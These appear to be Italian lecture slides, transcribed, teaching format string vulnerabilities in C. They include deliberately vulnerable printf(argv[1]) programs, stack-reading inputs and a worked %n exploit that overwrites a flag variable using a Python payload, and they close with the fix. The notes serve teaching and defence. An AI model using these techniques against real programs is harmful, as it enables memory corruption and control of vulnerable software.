

Format string vulnerability

Le vulnerabilità legate alle stringhe consentono ad un attaccante di leggere o modificare la memoria sfruttando un uso improprio delle stringhe di formato.

Le funzioni di formattazione in C sono:

- Printf
- Fprintf
- Sprint

Tutte ricevono una stringa e una sequenza di dati.

Esempio:

```
printf("The answer is %d!",42);
```

Esempio di programma vulnerabile:

```
int main(int argc, char **argv)
{
    if (argc>1) {
        printf(argv[1]);
    } else {
        printf("Please, give me a value to echo!\n");
    }
    return 0;
}
```

Viene passato `argv[1]` direttamente a `printf`, se l'argomento contiene specificatori di formato, il comportamento del programma può essere alterato.

Ad esempio, possiamo far andare in crash un programma passando una stringa composta da una sequenza di “%s” (che è il formato per le *stringhe*):

```
CC> ./echo %s%s%s%s%s%s%s%s%s%s
Segmentation fault (core dumped)
CC>
```

Questo accade perché, quando viene eseguito **printf**, i parametri mancanti vengono cercati nello *stack*!

Quando invochiamo una funzione di formattazione, i parametri vengono messi nello *stack*, con la stringa di formato in cima.

- Quando viene eseguita, **printf** recupera prima la stringa di formato e quindi risale lo *stack* per recuperare gli altri argomenti.
- Se non forniamo questi argomenti, vengono usati altri valori presenti nello *stack*!

Quando printf riceve solo una sequenza di %s:

- Per ogni %s, viene recuperato un valore dallo *stack* e trattato come un indirizzo.
- Se il dato recuperato è un indirizzo appartenente allo spazio di memoria consentito del programma, viene stampato.
- Se non è un indirizzo valido, viene generata un'eccezione.

Visualizzare il contenuto dello stack

► Consideriamo la seguente variazione del nostro programma:

```
c Copia codice  
  
int main(int argc, char **argv)  
{  
    int value1 = 0xabababab;  
    int value2 = 0xcdcdcdcd;  
    int value3 = 0xefefefef;  
    if (argc > 1) {  
        printf(argv[1]);  
    } else {  
        printf("Please, give me a value to echo!\n");  
    }  
    return 0;  
}
```

Visualizzare il contenuto dello stack

► Possiamo usare il formato delle stringhe per stampare i valori presenti nello *stack*:

```
perl Copia codice  
  
CC> ./echo2 "%8x %8x %8x %8x %8x %8x %8x %8x"  
0 f7579a50 80484eb 2 abababab cdcdcdcd efefefef f76fd3dc
```

► Se vogliamo leggere i dati nelle posizioni 5, 6 e 7:

```
shell Copia codice  
  
CC> ./echo2 "%5$10x %6$10x %7$10x"  
abababab cdcdcdcd efefefef CC>
```

Corruzione dei dati

- La vulnerabilità del formato di stringa può anche essere usata per **modificare valori in memoria**.
- Questo può essere fatto usando il formato **%n**, che permette di salvare il numero di caratteri stampati in una posizione di memoria.

- Se non forniamo la posizione di destinazione, viene usato **il primo valore nello stack!**

► Consideriamo il seguente codice

```
int flag;

int main(int argc, char **argv)
{
    if (argc<1) {
        printf("Please, enter your name!\n");
    }

    printf(argv[1]);

    if (flag) {
        printf("\n\nYou win!\n");
    } else {
        printf("\n\nI'am sorry! Try again!");
    }

    return 0;
}
```

Fornendo l'input appropriato possiamo **corrompere il valore di flag**.

Per raggiungere questo obiettivo dobbiamo:

- Trovare l'indirizzo dove è memorizzata la variabile **flag**
- Fornire un input che posizioni questo indirizzo in cima allo *stack*
- Aggiungere il formato **%n** alla fine dell'input

L'indirizzo della variabile **flag** può essere ottenuto usando `objdump`:

```
CC> objdump -t changeit | grep "flag"
0804a024 g      0 .bss      00000004      flag
CC>
```

(nell'immagine compare 0804a024 come indirizzo ottenuto da `objdump`)

► Per mettere l'indirizzo in cima allo *stack* passiamo al programma una stringa che contenga:

- l'indirizzo (nell'immagine successiva è mostrato **0804a2024** — potrebbe essere un refuso rispetto all'indirizzo precedente)
- una sequenza di %x che legge valori dallo *stack*
- testo di padding per semplificare l'allineamento

Uno script Python inline può aiutarci:

(la riga mostrata è un esempio di comando che costruisce la stringa di input; nella slide le parti sono annotate così)

- **Padding** — testo usato per l'allineamento
- **Memory address** — l'indirizzo di memoria che vogliamo inserire nello stack (es. \x24\xa0\x04\x08 nel comando)
- **Read to the stack** — una sequenza di %x che legge valori dallo stack
- **Number of reads from stack** — quanti valori leggere (es. *128 nella slide)

I padding e il numero di letture dallo stack devono essere adattati.

The diagram shows a terminal command: `CC> ./changeit "$(python -c "print 'AAAA'+ '\x24\xa0\x04\x08'+ 'BBBBBBBBBB'+ '%x '*128+'%x '"")"`. Annotations with brackets identify parts of the command: 'AAAA' is labeled 'Padding'; '\x24\xa0\x04\x08' is labeled 'Memory address'; 'BBBBBBBBBB' is labeled 'Padding'; '%x '*128+'%x' is labeled 'Read to the stack' and '*128+' is labeled 'Number of reads from stack'.

Il risultato dell'esecuzione è:

(Nell'output mostrato si leggono molti valori letti dallo stack; evidenziato in blu c'è l'indirizzo 804a024)

L'ultimo elemento recuperato dallo stack è esattamente l'indirizzo di memoria che vogliamo modificare!

The terminal output shows a long list of memory addresses. The last line of the list is `804a024`, which is highlighted with a blue box. Below the list, the program prints "I'am sorry! Try again!CC>".

Possiamo modificare lo script sostituendo l'ultimo %x con un %n:

- Nella slide è mostrato il comando che costruisce il payload (uno script Python inline). Sostituendo l'ultima conversione %x con %n facciamo sì che printf scriva nel luogo di memoria il numero di caratteri stampati fino a quel punto.
- Effetto:** al posto della semplice lettura dello stack si esegue una scrittura nella memoria puntata dall'elemento trovato nello stack.

```
CC> ./changeit "$(python -c "print 'AAAA'+'\x24\xa0\x04\x08'+'BBBBBBBB'+'%x '*128+'%x' ")"
```

```
CC> ./changeit "$(python -c "print 'AAAA'+'\x24\xa0\x04\x08'+'BBBBBBBB'+'%x '*128+'%n' ")"
```

► Questo ci permette di cambiare la variabile flag:

- Dopo aver posizionato l'indirizzo di flag nello stack e aver regolato padding e numero di letture, l'uso di %n fa sì che la memoria di flag venga modificata.
- Nell'output mostrato nella slide finale, l'attacco ha avuto successo e il programma stampa You win!.

```
CC> ./changeit "$(python -c "print 'AAAA'+'\x24\xa0\x04\x08'+'BBBBBBBB'+'%x '*128+'%n' ")")
AAAA$BBBBBBBBBfffd504 fffd510 80484d1 fffd470 0 0 f7e2d637 f7fc7000 f7fc7000 0 f7e2d637
2 fffd504 fffd510 0 0 0 f7fc7000 f7fddc04 fffd000 0 f7fc7000 f7fc7000 0 4cddf9cf 76def7d
f 0 0 0 2 8048340 0 f7fe010 f7fe8880 f7ffd000 2 8048340 0 8048361 804843b 2 fffd504 80484
b0 8048510 f7fe8880 fffd4fc fffd918 2 fffd635 fffd640 0 fffd7d5 fffd7e9 fffd7fd fffd
d80d fffd82d fffd841 fffd854 fffd860 fffdde8 fffdde8 fffdde8 fffddea7 fffddeb8 fffd
ec1 fffddec9 fffddeb fffddeed fffddefc fffdfe3d fffdfe70 fffdfe7f fffdfe9f fffdfebe fffdfe
e0 0 20 f7fd8ba0 21 f7fd8000 10 fabfbff 6 1000 11 64 3 8048034 4 20 5 9 7 f7fd9000 8 0 9 80
48340 b 3e8 c 3e8 d 3e8 e 3e8 17 0 19 fffd61b 1f fffdfe6 fffdfe62b 0 0 0 c3000000 8c658c
8b 271859ba e571f9e0 69dbb320 363836 0 632f2e00 676e6168 746965 41414141

You win!
CC>
```

Mitigazioni

- Le vulnerabilità di formato delle stringhe sono abbastanza facili da correggere.
- Infatti, abbiamo problemi **solo** quando passiamo a una funzione di formattazione una stringa che contiene input **non attendibile** o fornito dall'utente:

```
printf(str);
```

Unsafe

```
printf("%s",str);
```

Equivalent safe

